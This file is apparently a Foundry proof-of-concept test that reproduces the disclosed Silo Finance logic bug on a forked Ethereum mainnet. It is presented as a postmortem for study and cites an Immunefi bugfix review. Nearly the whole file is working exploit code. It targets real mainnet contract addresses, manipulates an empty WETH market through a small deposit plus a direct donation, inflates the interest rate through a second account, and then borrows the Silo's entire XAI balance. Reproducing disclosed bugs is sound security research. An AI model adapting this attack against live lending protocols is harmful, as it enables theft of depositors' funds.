src/test/2023-04/silo_finance_exp.sol

1pragma solidity ^0.8.0;
2 
3import "forge-std/Test.sol";
4import "forge-std/console.sol";
5 
6import "./../interface.sol";
7 
8// It's a postmortem, now it's disclosed, just for studying.
9// analysis and code: https://medium.com/immunefi/silo-finance-logic-error-bugfix-review-35de29bd934a
10 
11interface ISilo {
12    function deposit(
13        address _asset,
14        uint256 _amount,
15        bool _collateralOnly
16    ) external returns (uint256 collateralAmount, uint256 collateralShare);
17 
18    function borrow(address _asset, uint256 _amount) external returns (uint256 debtAmount, uint256 debtShare);
19 
20    function assetStorage(
21        address _asset
22    ) external view returns (IBaseSilo.AssetStorage memory);
23 
24    function accrueInterest(
25        address _asset
26    ) external returns (uint256 interest);
27}
28 
29interface IBaseSilo {
30    /// @dev Storage struct that holds all required data for a single token market
31    struct AssetStorage {
32        /// @dev Token that represents a share in totalDeposits of Silo
33        IShareToken collateralToken;
34        /// @dev Token that represents a share in collateralOnlyDeposits of Silo
35        IShareToken collateralOnlyToken;
36        /// @dev Token that represents a share in totalBorrowAmount of Silo
37        IShareToken debtToken;
38        /// @dev COLLATERAL: Amount of asset token that has been deposited to Silo with interest earned by depositors.
39        /// It also includes token amount that has been borrowed.
40        uint256 totalDeposits;
41        /// @dev COLLATERAL ONLY: Amount of asset token that has been deposited to Silo that can be ONLY used
42        /// as collateral. These deposits do NOT earn interest and CANNOT be borrowed.
43        uint256 collateralOnlyDeposits;
44        /// @dev DEBT: Amount of asset token that has been borrowed with accrued interest.
45        uint256 totalBorrowAmount;
46    }
47}
48 
49interface IShareToken {}
50 
51contract OtherAccount {
52    ISilo immutable SILO;
53    IERC20 public constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
54    IERC20 public constant LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
55 
56    address owner;
57 
58    constructor(
59        ISilo _silo
60    ) {
61        owner = msg.sender;
62        SILO = _silo;
63    }
64 
65    modifier onlyOwner() {
66        require(msg.sender == owner);
67        _;
68    }
69 
70    function depositLinkAndBorrowWETH() external onlyOwner {
71        // This will inflate the ETH interest rate.
72        uint256 depositAmount = LINK.balanceOf(address(this));
73        LINK.approve(address(SILO), depositAmount);
74        SILO.deposit(address(LINK), depositAmount, true);
75        SILO.borrow(address(WETH), 1 ether);
76        WETH.transfer(owner, 1 ether); // Return the borrowed amount to the exploit contract
77    }
78}
79 
80contract SiloBugFixReview {
81    ISilo public constant SILO = ISilo(0xcB3B879aB11F825885d5aDD8Bf3672596d35197C);
82    IERC20 public constant XAI = IERC20(0xd7C9F0e536dC865Ae858b0C0453Fe76D13c3bEAc);
83    IERC20 public constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
84    IERC20 public constant LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
85 
86    OtherAccount public immutable otherAccount;
87 
88    constructor() {
89        otherAccount = new OtherAccount(SILO);
90    }
91 
92    modifier checkZeroAssetStorage() {
93        require(SILO.assetStorage(address(WETH)).totalDeposits == 0);
94        _;
95    }
96 
97    function run() external checkZeroAssetStorage {
98        uint256 accrueInterest = SILO.accrueInterest(address(WETH));
99 
100        console.log("Balance of XAI before exploit= ", XAI.balanceOf(address(this)));
101        console.log("WETH interest rate before exploit = ", accrueInterest);
102 
103        uint256 depositAmount = 1e5;
104        uint256 donatedAmount = 1e18;
105 
106        WETH.approve(address(SILO), depositAmount);
107        SILO.deposit(address(WETH), depositAmount, false);
108 
109        WETH.transfer(address(SILO), donatedAmount);
110 
111        otherAccount.depositLinkAndBorrowWETH();
112    }
113 
114    function run2() external {
115        uint256 accrueInterest = SILO.accrueInterest(address(WETH));
116        SILO.borrow(address(XAI), XAI.balanceOf(address(SILO)));
117 
118        console.log("Balance of XAI after exploit= ", XAI.balanceOf(address(this)));
119        console.log("WETH interest rate after exploit = ", accrueInterest);
120    }
121}
122 
123// forge test --match-path test/pocs/posterms/silo-finance/BugFixReview.t.sol -vvv
124contract SiloBugFixReviewTest is Test {
125    uint256 mainnetFork;
126 
127    SiloBugFixReview public siloBugFixReview;
128 
129    uint256 constant depositAmount = 1e5;
130    uint256 constant donatedAmount = 1e18;
131 
132    uint256 otherAccountDepositAmount = 545 * 1e18;
133    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
134 
135    function setUp() public {
136        cheats.createSelectFork("mainnet", 17_139_470);
137 
138        siloBugFixReview = new SiloBugFixReview();
139        deal(address(siloBugFixReview.WETH()), address(siloBugFixReview), depositAmount + donatedAmount);
140        deal(address(siloBugFixReview.LINK()), address(siloBugFixReview.otherAccount()), otherAccountDepositAmount);
141    }
142 
143    function testAttack() public {
144        address LINK = 0x514910771AF9Ca656af840dff83E8264EcF986CA;
145 
146        address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
147 
148        console.log("time stamp before = ", block.timestamp);
149        console.log("block number before = ", block.number);
150        siloBugFixReview.run();
151        cheats.makePersistent(address(siloBugFixReview));
152        cheats.makePersistent(address(siloBugFixReview.SILO()));
153 
154        cheats.makePersistent(WETH);
155        cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).collateralToken));
156        cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).collateralOnlyToken));
157        cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(WETH).debtToken));
158 
159        cheats.makePersistent(LINK);
160        cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).collateralToken));
161        cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).collateralOnlyToken));
162        cheats.makePersistent(address(siloBugFixReview.SILO().assetStorage(LINK).debtToken));
163 
164        cheats.rollFork(block.number + 1);
165 
166        console.log("time stamp after = ", block.timestamp);
167        console.log("block number after = ", block.number);
168        siloBugFixReview.run2();
169    }
170}